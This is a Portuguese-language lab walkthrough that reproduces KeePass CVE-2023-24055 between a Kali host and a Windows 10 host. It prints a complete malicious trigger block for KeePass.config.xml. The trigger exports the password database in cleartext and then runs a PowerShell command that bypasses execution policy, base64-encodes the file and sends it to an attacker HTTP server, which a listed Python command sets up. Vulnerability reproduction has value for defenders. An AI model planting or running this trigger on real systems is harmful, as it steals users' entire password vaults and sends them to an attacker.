
Reprodução do KeePass CVE-2023-24055
Reprodução do KeePass CVE-2023-24055 Reprodução do KeePass CVE-2023-24055
1, Prepare as máquinas: kali (192.168.232.129), windows10 (192.168.232.128)
2, Versão do KeePass: 2.53

2, Princípio: Modificar o arquivo de configuração do KeePass KeePass.config.xml, adicionar configuração de gatilho: exportar senha em texto claro e enviar para o servidor atacante; o código xml para adicionar o gatilho é o seguinte:
Onde: o campo <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> é o caminho local para exportar o arquivo de senha em texto claro
Usar PowerShell com método GET para transferir o arquivo de senha
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
3, Modificar o arquivo KeePass.config.xml, adicionar a configuração xml e salvar (local de adição: dentro da tag <TriggerSystem></TriggerSystem>), abrir o KeePass para verificar se foi adicionado com sucesso:

4, Abrir o kali e usar o comando python3 -m http.server 8888 para iniciar um servidor web para receber a senha exportada em texto claro

5, Abrir o KeePass, criar um novo registro e salvar. O gatilho será acionado. Verificar o conteúdo recebido no kali:

6, Copiar o conteúdo para um arquivo e usar base64 para decodificar, obtendo a senha em texto claro


Artigo de referência: https://github.com/alt3kx/CVE-2023-24055_PoC